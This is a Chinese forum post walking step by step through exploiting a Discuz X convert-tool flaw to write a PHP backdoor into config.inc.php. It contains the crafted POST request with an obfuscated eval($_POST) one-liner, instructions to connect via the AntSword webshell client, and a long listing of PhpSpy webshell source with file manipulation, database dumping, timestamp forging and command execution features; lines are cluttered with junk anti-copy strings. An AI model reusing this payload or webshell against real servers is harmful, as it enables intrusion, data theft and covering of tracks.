找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 7641|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

983

主题

83

回帖

5万

积分

管理员

积分
53122
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:1 c$ u' A0 N6 V& H+ T! M  [+ q
想要拿下一台主机A的权限:
1 r1 Z/ p1 g( `+ H5 ~3 \' o* M1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞; F( t' V0 g6 O
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权  Y; b: S' @2 l. v1 e0 w
3、传上去后,得到apache用户普通权限,再提权成root
5 g/ m3 G* {" g7 b* l+ c概述:1 t. m1 y2 t* J! h6 C0 A* {
这突破在一个DZ X系列自带的转换工具里面。+ {- c( D& |" V' t* m
漏洞路径:utility / convert / data / config.inc.php! V/ ]* o* Y5 v3 x
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
9 S4 {0 J! w; Q6 j" A- |  h. o触发突破过程:
9 p8 L: r8 X( e( V( l1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
9 H' |1 n: [9 w$ b) D. N2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
' r& c# N6 d" M3 f0 d: m! M攻击过程:; s" b, n" R/ k9 n
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/1 H6 C* q$ ~2 {1 S& [

" l3 ^) S9 o% f" O( g' L" J) @6 V/ S4 o' X9 {+ d) `! P
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马% _) R- l' G5 `7 J" S3 [7 L: A

- r/ x8 l2 d$ H: `3 o( D2 H8、通过中国蚁剑上传大码
0 w1 B! u. N: P% G
) _' v- _$ k- N( C6 R9 x# @9 h) U0 L; s; m, c1 z$ u
10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php: W6 {+ N# K2 B; ~: i
  2. 6 q) A5 D; |! p* @$ {
  3. /*****************************************************************************
      ]/ s: O' B! g2 p$ B3 o
  4. 9 k: s4 X0 a, O
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================# g2 L1 a: [# h' ]
  6. : Z1 H* @6 {4 X7 n
  7. ====# \0 R6 r+ g/ m
  8. 7 S5 W% ]/ d4 F# N1 m1 L" K1 r" Q+ k

  9. + X' o# B- i% |- F. H$ G
  10. *****************************************************************************/) M: x, v* K+ j
  11. 6 p3 D( Z" p5 A
  12. error_reporting(7);  H0 ?0 U8 @5 a2 x
  13. @set_magic_quotes_runtime(0);
    : V. d' t2 t1 z( ]5 f
  14. ob_start();9 ]! `5 [0 x3 c5 l' n
  15. $mtime = explode(' ', microtime());
    - `$ O8 o9 a  N9 N. H
  16. $starttime = $mtime[1] + $mtime[0];- P: W% C: D8 t, D3 S1 T8 H
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    # p  U& S4 B7 ]0 A
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    $ k" ?+ W4 y  V, x1 u
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');* l, N% }/ t: `+ ?* n7 l
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );9 E- q3 h- ^  j
  21. define('IS_GPC', get_magic_quotes_gpc());
    , k: @! ], a' O. C
  22. $dis_func = get_cfg_var('disable_functions');
    . {$ J8 g! a9 ^
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );/ ^# q, }3 z! t+ |
  24. @set_time_limit(0);0 F- F  g  s8 H
  25. * t1 S5 d4 F& ~9 c) \
  26. foreach(array('_GET','_POST') as $_request) {3 Q. n7 T/ {: Y4 `* r
  27.         foreach($$_request as $_key => $_value) {* X4 d6 ^' O* n& S" j
  28.                 if ($_key{0} != '_') {
    3 b. `- u) p7 T3 o
  29.                         if (IS_GPC) {
    6 z- a6 q: g* ^+ S
  30.                                 $_value = s_array($_value);
    + k7 D( }7 L9 \# c! N
  31.                         }
    1 ]- T- ]: M  X. V
  32.                         $$_key = $_value;
    5 X% Y. N4 ?5 ?, y3 ?+ n: A$ L
  33.                 }
    6 s; x  N4 I# x
  34.         }4 T2 X9 x! }& d3 B  @0 K- |# T
  35. }3 B# j% ]5 y2 t0 ?/ X9 \
  36. 8 X& L6 R9 T: b
  37. /*===================== 程序配置 =====================*/5 G- M; z9 }2 J  N
  38. $admin = array();7 Z# I& k* m& I! a" T! h, B- x
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    6 Q) r! E& o2 Z: K. i! E: L- L
  40. $admin['check'] = true;
    7 v4 }2 Z) h' g) z0 Q) I7 G7 o' \
  41. // 如果需要密码验证,请修改登陆密码) j  f% h' [1 Z! L- ]! M
  42. $admin['pass']  = 'xuegod';, C! p  x, v+ G0 A7 f
  43. - f/ O0 z$ l. Y8 g5 }
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认7 X4 N2 }+ q; _& J
  45. // cookie 前缀
    0 V4 }5 A% A6 |  ~
  46. $admin['cookiepre'] = '';/ Q  K& n0 }2 h8 V$ k# J( S
  47. // cookie 作用域
    : a8 W. O3 [( k! B/ U7 N3 F
  48. $admin['cookiedomain'] = '';+ t0 I, X" O: o; c; E1 @6 c( X
  49. // cookie 作用路径. c6 _' U& N  W# s1 v) @! O
  50. $admin['cookiepath'] = '/';7 R6 G5 c: q  X' i- N* Q
  51. // cookie 有效期
    7 k* H, M4 ]! R  K3 p9 M7 G1 W3 ]* m
  52. $admin['cookielife'] = 86400;
    , S& e# A' U( N
  53. /*===================== 配置结束 =====================*/
    ) O6 R$ Q4 E0 m3 N

  54.   A; p, F1 w/ W) P% P3 ~) s& r
  55. if ($charset == 'utf8') {" n, l7 g. {( ^# q7 W# _5 D
  56.         header("content-Type: text/html; charset=utf-8");. ]6 }5 r7 Y1 Y- |& B/ \
  57. } elseif ($charset == 'big5') {
    : k0 F* j# S5 T, }9 a+ b! Z) Y. i( A
  58.         header("content-Type: text/html; charset=big5");
    ) S. T% f" X0 k
  59. } elseif ($charset == 'gbk') {4 R* y* P- A1 ]/ Y8 F
  60.         header("content-Type: text/html; charset=gbk");
    " a- N3 s* o. L+ b" s. Y
  61. } elseif ($charset == 'latin1') {. \+ K, o* a6 }: U* Z6 M
  62.         header("content-Type: text/html; charset=iso-8859-2");  r5 k; d, ?4 k! S. p
  63. }2 P' D# u" \6 n: q/ P- V4 k  u

  64. # d2 D2 w2 g: Y! t* d" V5 s" O
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    # ^0 d  o+ x1 L7 }
  66. $timestamp = time();
    9 y/ c+ |. l; J! y7 A

  67. # M& ~4 [1 b# o8 }" I2 X# P- l
  68. /*===================== 身份验证 =====================*/
    / y2 A. f2 k! B/ j0 o' [7 h- s8 K
  69. if ($action == "logout") {% _  r& }7 s, }7 a: C4 d
  70.         scookie('phpspypass', '', -86400 * 365);9 B9 E  _: O% d) e+ b$ V
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');* F7 m! V% v5 A& I! ?6 Y- U
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');3 k9 F/ b: Q1 V2 x# F( F" z
  73.         exit;
    - N4 ?# g1 u$ b' i0 e; B9 a! o
  74. }
    2 B0 W' x6 r" M' O
  75. if($admin['check']) {
    / k( ]/ D* N4 k/ Y3 k. o- @5 A+ B
  76.         if ($doing == 'login') {
    , P5 }6 y8 A: w: _& o
  77.                 if ($admin['pass'] == $password) {
    5 h, C4 l) h0 u5 P
  78.                         scookie('phpspypass', $password);+ W" b7 a' ^2 K. B3 P( j% b
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    6 D4 L4 n" @* a. k# m) Q
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');1 r% u0 l& n& F1 v7 ]8 y
  81.                         exit;
      a" ]* e* n& d: M; s$ t6 T" g
  82.                 }
    - C9 E* z. u9 X& _4 |7 u. n
  83.         }8 P$ J+ @( f7 T- K
  84.         if ($_COOKIE['phpspypass']) {
    # `) s- R- W) n3 m! H/ T
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {2 I% [; q( z( t5 o
  86.                         loginpage();5 Q3 k1 P- R; [. j3 }- l
  87.                 }+ f# Q( P5 L/ k& k* q
  88.         } else {
    * g3 ?+ V) B- i, Y8 u
  89.                 loginpage();
    . r: C) w3 B: X( g) n& p& R% [
  90.         }1 u" K! o5 d! G5 C$ R  n" S* F
  91. }' m7 r9 E4 x0 P9 P! t( ?* V) x
  92. /*===================== 验证结束 =====================*/2 |3 w& C* K! F

  93. 6 c& t1 }/ d- {3 \
  94. $errmsg = '';' a# v6 u) B- O2 A+ A% v1 Q

  95. 5 h$ f# a! ^  y0 Z" r! n% I2 F
  96. // 查看PHPINFO
    , a2 f6 _7 I+ R; L2 Y8 Z1 W5 j
  97. if ($action == 'phpinfo') {
    7 @' v) h1 A( V7 W; P
  98.         if (IS_PHPINFO) {
    3 J$ G0 \4 A7 H# J+ a+ N
  99.                 phpinfo();
    2 c0 u0 z7 w7 T/ C2 _/ ?1 {! J/ Z
  100.         } else {
    7 c) _  `0 U; R3 ?& K5 G% e
  101.                 $errmsg = 'phpinfo() function has non-permissible';( ?' h2 q6 s4 N, N3 A
  102.         }/ a$ s+ F3 h" J' ^( _% Z6 u
  103. }) R$ v& t9 ]2 u1 \8 z$ ~
  104. 2 N) c8 v9 L1 g1 m6 w
  105. // 下载文件
    8 @8 t5 c0 A4 D8 V& @1 X
  106. if ($doing == 'downfile' && $thefile) {
    " b" Z* |5 C8 U. T
  107.         if (!@file_exists($thefile)) {
    " B3 V2 P; K' O6 J  }+ T' w& ^6 m* s
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
    ( m& _# T7 K& k- y' y& N2 M4 C( d
  109.         } else {- t, B5 S4 [( F
  110.                 $fileinfo = pathinfo($thefile);
    . C8 Q) d& ^2 Z) `2 h4 F& ~
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);( u7 M- ?1 @6 h/ Q1 H1 x
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);6 k$ Y+ E, p3 Z6 H  y- b+ l* k
  113.                 header('Content-Length: '.filesize($thefile));) [. g3 _$ z4 |( u8 e: R
  114.                 @readfile($thefile);
    : c) `/ z0 D; M7 T3 r1 ?
  115.                 exit;! u; l4 F6 c: {9 D3 y5 w' E( G
  116.         }( ~; B; p; q( l- Y! M+ j
  117. }
    , v* o2 d# ^3 \+ G, g

  118. 2 f) w* ?/ W& u/ X! Z1 o: P! L% y
  119. // 直接下载备份数据库% a, j$ O& c! S1 x
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    4 r7 K1 Z. w6 H: L% j+ ?
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);3 \5 ~- O2 K" O+ M6 f
  122.         $table = array_flip($table);9 j; {) P7 \5 `
  123.         $result = q("SHOW tables");
    " f6 v/ r! q+ L% V* \( w
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');8 j& S2 B2 D& b/ d- W- C
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');0 k9 [7 j( B, Q- M, ^3 T& Q
  126.         header('Content-type: application/unknown');
    0 s7 ~! Z1 ?! [2 H. h3 u
  127.         header('Content-Disposition: attachment; filename='.$filename);
    * K$ B5 w9 W1 s, E+ L
  128.         $mysqldata = '';0 b; F8 x# C1 l, x+ c' s8 o
  129.         while ($currow = mysql_fetch_array($result)) {
    * u1 a1 |  n9 g! H7 K
  130.                 if (isset($table[$currow[0]])) {" e  }# a3 u' X# [/ v
  131.                         $mysqldata .= sqldumptable($currow[0]);" k. D( g) c5 H8 R/ d
  132.                 }& y7 S+ a9 [) W# V( a
  133.         }$ \) x) }/ B3 ^2 U
  134.         mysql_close();
    6 r9 j+ b6 C- ]! l& x# \) ]: W
  135.         exit;
    1 S' Z( Z7 B( f* z) W" |; u7 b( m1 M
  136. }, Q$ H, m, F- z# `) d

  137. 6 Y  c% f# |  W) Q# ?+ a) Z8 g
  138. // 通过MYSQL下载文件
    $ [% ~, T$ Y" m# Y" l- j  \+ J6 R% P+ B
  139. if($doing=='mysqldown'){5 N' c* g: S% u5 z& u5 b
  140.         if (!$dbname) {
    9 G+ ~% \+ p. K4 i2 x
  141.                 $errmsg = 'Please input dbname';
    6 O  X! v# K) |# [
  142.         } else {. z, ~+ J+ ^! c) M  ]  t# b
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    9 u5 P3 k( h8 Z# \3 V
  144.                 if (!file_exists($mysqldlfile)) {; O4 i+ \3 j( B9 G
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    9 R+ q4 ^6 `4 I6 A1 f2 O# n6 u5 v  Y
  146.                 } else {/ G- Y7 d' o' u9 f. x' S( e
  147.                         $result = q("select load_file('$mysqldlfile');");: K$ o- j- Q8 o
  148.                         if(!$result){0 A! O( j. A6 D7 ~; u5 W
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    5 e' P- Z* c" W7 W$ j
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");$ \8 w; l- y/ h! j* @
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    6 b3 D: R) D( E, Y
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    . c0 \9 T. x8 S8 }
  153.                                 $result = q("select content from tmp_angel");, f' s. k( E1 t- V0 L9 g7 P+ O
  154.                                 q("DROP TABLE tmp_angel");6 q9 `& S; D! l* n% i  y' r
  155.                         }
    8 i2 Q3 D( A& Q+ \
  156.                         $row = @mysql_fetch_array($result);- s* F7 u6 ^; n% A- B' `! z2 f% [
  157.                         if (!$row) {8 X# y5 z0 v# E. T/ Y; \2 J
  158.                                 $errmsg = 'Load file failed '.mysql_error();, A6 H/ e3 c# R0 ]( _) U* k
  159.                         } else {
    - M% O; ^+ N8 ?
  160.                                 $fileinfo = pathinfo($mysqldlfile);2 G9 K: Q1 u( ~* o$ ~
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);$ S6 G2 O6 X$ G4 N
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    ' R/ J! u0 F. [0 O
  163.                                 header("Accept-Length: ".strlen($row[0]));* C7 H/ N6 i) I6 U; G
  164.                                 echo $row[0];/ e3 O9 _8 A5 ?* z3 C' h
  165.                                 exit;. z! N. \9 [" Y# P
  166.                         }
    - t. p" S2 D$ a4 `6 m! c, k8 I% i* v
  167.                 }
    ) E$ l; l+ k! s) i) \, ~
  168.         }
    / B& t& z! J# Q& k
  169. }
    3 |/ T0 M: T4 h. p
  170. . \- S1 {, ?) v- D
  171. ?>
    * t9 ~0 _. y3 ~! j' o$ G6 \3 [, |
  172. <html>1 [7 `* @9 r$ g9 f5 p
  173. <head>
    8 F# Q1 A* z, B7 n& C5 \! g+ X
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">6 T) {3 ^& ]! e) t
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
    1 }9 c- H( O( }% u% G5 i8 J1 s. k
  176. <style type="text/css">) A: ^( {/ t: `
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    7 Q2 O  V, ~0 Z: K# q
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    + x, h' b/ O' U$ o5 S! b$ m
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    ! M8 {  i7 a  M$ C
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    ) ~7 c8 P' N7 P* N2 H
  181. a {color: #00f;text-decoration:underline;}; X1 y6 s) Z; @' }
  182. a:hover{color: #f00;text-decoration:none;}% `  E) O6 [' s% x
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}/ [, S8 ~) x. [8 N9 G
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    ) E' B" f" C/ e3 P- J
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}, B2 Q" Z6 F9 ^7 m# \& i
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    7 V$ J* B8 q/ [# n4 u; E
  187. .head td span{font-weight:normal;}" t+ w5 x- [9 Z. w) n
  188. form{margin:0;padding:0;}
    . G; l! q5 M( G( c
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}# `- N; Z+ F% n' K& P, t5 ]
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    $ N& r2 p6 o, c2 `# |0 A( T
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}5 c4 m8 I. n% ]0 T) R- o6 k; F& v, @
  192. </style>& `8 u( K0 ~9 C' v% m, L# ]
  193. <script type="text/javascript">, r+ h& I2 Q& W& e
  194. function CheckAll(form) {
    ( b- T& d  v$ o- e, g; E
  195.         for(var i=0;i<form.elements.length;i++) {+ B0 h5 O9 Y) P* @0 y
  196.                 var e = form.elements[i];. U7 Z0 }4 n- X
  197.                 if (e.name != 'chkall')* w" `  Z: x( d
  198.                 e.checked = form.chkall.checked;
    ( P* ~6 q, ?* ]% J  W
  199.     }2 r& I0 Z9 o: `) D# c. g
  200. }5 x' ~4 O0 ^  l9 d0 Z2 Q
  201. function $(id) {
    , {) n* o) f+ p+ g1 p
  202.         return document.getElementById(id);7 V" y/ H5 a& Z6 e
  203. }
    / `/ H7 O# Y$ Z. T4 r; x. d+ W' _& G
  204. function goaction(act){; \6 \# I, a- e$ }
  205.         $('goaction').action.value=act;
    9 K4 v2 d) I& r. e) K
  206.         $('goaction').submit();
    4 l2 T0 [7 T6 R6 K: Q. \2 F6 y8 `
  207. }
    : F# L0 Y! u8 t4 U0 e# y; \
  208. </script>3 X- Q- X5 c3 a1 b0 s8 W
  209. </head>
    3 Y4 P0 z' z$ ~! Y
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    4 p" x; b6 g( }5 D/ K$ a
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">6 W8 n2 m9 x: A  Z$ V7 e
  212.         <tr class="head">
    8 x2 z+ f1 }7 t: K) _' x
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>3 G! t( o# ^( U6 Q" }
  214.         </tr>7 V4 k- U% {: F$ ?* R' W
  215.         <tr class="alt1">- i! {; ^- W( \  d. n
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
      q4 c+ x7 ^8 t7 m  F9 ^
  217.                         <a href="javascript:goaction('logout');">Logout</a> | ! N, A( r9 }. i" F
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    & ]3 e1 t; ^- U7 A
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | # u  g! }4 F' V, t: u9 |
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
    * S' h/ c: b' l( t
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | 9 M3 [7 h( w. H" y4 x# W! i/ |
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    1 P+ T: L0 U. S. N
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    # f6 l) j4 ^4 S2 K# P3 f
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    1 R: q7 x  J  t
  225.                 </td>
    6 e/ R; R3 S) O+ T' n
  226.         </tr>
    0 d9 }7 q" u- r4 f. I, V. t' u9 M$ A
  227. </table>
      T( T% c  l7 u  P
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>  t: Y' s  l5 N% y0 v( N6 u
  229. <?php
    3 Z7 B0 ^4 c+ }7 g3 v  I1 \! Y

  230. : ]$ {% A- b' Q3 v8 O  }
  231. formhead(array('name'=>'goaction'));+ k+ G8 m. F4 _- G( B
  232. makehide('action');
    5 U1 O/ \% q, T' P$ W& b8 g
  233. formfoot();$ x1 v4 V" ~- p' G
  234. 3 A5 r' x: G1 X9 x0 N
  235. $errmsg && m($errmsg);) k5 W4 ^4 l5 K4 _7 i' `4 h4 L
  236. 6 t3 `  ~% J8 B
  237. // 获取当前路径
    , X* n0 \; h4 G3 w5 I7 E
  238. !$dir && $dir = '.';1 E9 `7 V4 z" y% R
  239. $nowpath = getPath(SA_ROOT, $dir);
    ! B! z! d7 d+ t$ y+ j3 j2 H0 C
  240. if (substr($dir, -1) != '/') {0 O" @1 a; `( H$ ?! W. A
  241.         $dir = $dir.'/';6 O5 \: ~9 ^' Q8 B, ^
  242. }9 J1 d! m' r; J. Z2 l' y( H7 g
  243. $uedir = ue($dir);3 H4 O+ H# l' `5 @+ c  d0 g# _

  244.   G* U! f9 G1 F+ f+ u1 e* o- I
  245. if (!$action || $action == 'file') {
    5 I% {2 T8 H9 ?1 F# e
  246. + Q7 d7 p4 ~: J5 F& {) k/ \% b6 c6 v: _
  247.         // 判断读写情况& n3 t8 G: e/ i- W$ v4 R. ~5 \
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';( q, V& ?' h7 i0 d: p5 L7 m2 M
  249. 5 i2 p5 I' `+ Q
  250.         // 删除目录# m- E, B9 O" y/ X# w4 z1 D8 R
  251.         if ($doing == 'deldir' && $thefile) {1 B8 i9 S% u  `; ^
  252.                 if (!file_exists($thefile)) {
    ' V, R( m6 K0 @% U% o# _
  253.                         m($thefile.' directory does not exist');
    ' Q' \# U% D. x4 _6 p* l8 v& x; k+ b0 n
  254.                 } else {
    7 N8 a9 I2 A$ W
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));' \: }7 g% H- ~% J
  256.                 }
    " H) t4 r5 U/ a$ {9 Q9 s
  257.         }
    ( l* V0 m- J' r
  258. 2 P: q0 Y, @1 b, Y/ ]
  259.         // 创建目录3 m; d1 z& z8 l; ^( }7 }# I
  260.         elseif ($newdirname) {' Y6 I" y( E  q
  261.                 $mkdirs = $nowpath.$newdirname;
    ; d* U( c& p9 w' _$ ~
  262.                 if (file_exists($mkdirs)) {/ \# v; s( ]5 I
  263.                         m('Directory has already existed');
    1 b7 v) I2 C/ o, ]
  264.                 } else {
    % J, K( m3 C  t2 o7 {8 ?# |
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));. `4 Z% q. M; a2 w
  266.                         @chmod($mkdirs,0777);8 K  B2 R- c1 @% M
  267.                 }
    1 m6 U$ }5 H  z' z5 @, B2 ?; W
  268.         }
    ! T% ~7 `8 r* {) d5 T
  269. 4 g) a* T1 h, W# H( _. h! \
  270.         // 上传文件
    9 D' K6 ]* d/ d, q) f3 ^+ u
  271.         elseif ($doupfile) {
    - ^% d( m9 V2 z( L/ D
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    # I+ d0 ]7 {  Y7 F$ _
  273.         }) N5 P% l4 b/ n5 N, q

  274. 7 ^( ]$ e& p7 |3 Z- I
  275.         // 编辑文件0 d& j5 m! ]9 y8 d6 Z
  276.         elseif ($editfilename && $filecontent) {
    $ r: |2 r" V' i+ K; R) m
  277.                 $fp = @fopen($editfilename,'w');
    0 g1 Z8 R" |/ U8 K1 M3 P# z
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    ; |  A, s# C. Q$ ]
  279.                 @fclose($fp);6 y3 n, Y, ^! C4 X
  280.         }2 h- x, R' _/ g* p4 H% x
  281. . t' `! V5 h9 j& i3 |0 C
  282.         // 编辑文件属性' K1 m* k+ O. _3 U3 ?3 A4 G3 b
  283.         elseif ($pfile && $newperm) {5 |; ]( l0 t' _
  284.                 if (!file_exists($pfile)) {
    1 o3 t- ]9 }% _; f$ }
  285.                         m('The original file does not exist');
    1 l' V. x+ O5 M: h3 ?
  286.                 } else {' i, R4 q$ l! `# S( c8 Y3 j
  287.                         $newperm = base_convert($newperm,8,10);
    & Z- W% h3 c4 G' F3 a% g( _
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
    . y( [# E5 q: L  X, Q) O
  289.                 }3 [! O2 Z! w& Q& I6 ]/ u
  290.         }+ {- a$ }9 ~& F2 ~7 H0 g/ I. c8 b

  291. ; z# f9 d+ g' ~, e* s. z
  292.         // 改名
    ; D/ K2 g* r: e, e+ \( z: e  Q* {
  293.         elseif ($oldname && $newfilename) {8 O# E( t: A; a, _) p: [
  294.                 $nname = $nowpath.$newfilename;
    0 ?( q2 ~2 r' e/ j8 c& n( y
  295.                 if (file_exists($nname) || !file_exists($oldname)) {: m# x; c8 A  e* ?# [( s& C# g
  296.                         m($nname.' has already existed or original file does not exist');
    2 U$ W- j6 y1 h  ?# k" z1 _$ Y
  297.                 } else {
    9 R) }" A( f' d
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));" y4 Z' K: |; w
  299.                 }  ~/ L; Q3 N" r
  300.         }$ l; b9 b2 j3 W) \: ?

  301. 1 z$ H( g. X! L7 Q- X
  302.         // 复制文件8 G$ S: B& e: g* t6 E- T
  303.         elseif ($sname && $tofile) {
    9 n: a8 [0 x6 Q( J: ]$ ^# h, E! M- }
  304.                 if (file_exists($tofile) || !file_exists($sname)) {
    2 O) ^' ~0 K3 H' v; [
  305.                         m('The goal file has already existed or original file does not exist');
    . n( h+ c" ^7 f! U
  306.                 } else {
    . y+ U4 Y. o' |1 E# _! n# ~
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    6 {( X9 ]2 y7 v0 o
  308.                 }
    5 H/ y+ G! J; L
  309.         }
    5 \  {* B4 b& E! z" y5 h1 I
  310. ; W* E& m3 u8 _$ B8 q+ L% O5 i1 \
  311.         // 克隆时间
    " E2 c  a5 t0 [( P3 j' v: O
  312.         elseif ($curfile && $tarfile) {7 h) F& r$ g) P; s9 S
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    + I& \+ L- D0 y
  314.                         m('The goal file has already existed or original file does not exist');
    ' n; |4 r4 N9 y" Q. Q% H
  315.                 } else {( O( p! J) [0 V% c8 w
  316.                         $time = @filemtime($tarfile);
    ! c! E8 M  R& g* h
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
    + K4 t; N$ @7 C3 M& y
  318.                 }
    7 N& s9 t& n! y# Y' Z0 K" q$ X
  319.         }
    : l8 l) l+ X6 J
  320. $ B7 n' f2 N5 o; t* P5 a
  321.         // 自定义时间
    : V/ U- N4 r9 K7 z; C
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {$ S* S: f7 j8 T8 |6 n
  323.                 if (!@file_exists($curfile)) {
    2 ?& U* e/ ~  q( e
  324.                         m(basename($curfile).' does not exist');' D( _; {4 N7 `
  325.                 } else {4 |: i' J, w% w6 T' x
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    2 e& N- A2 @. ~2 e, I) K$ d4 {$ P
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));9 s2 e! Q- D, D, A
  328.                 }
    6 n( W9 T! V: R+ z- @
  329.         }
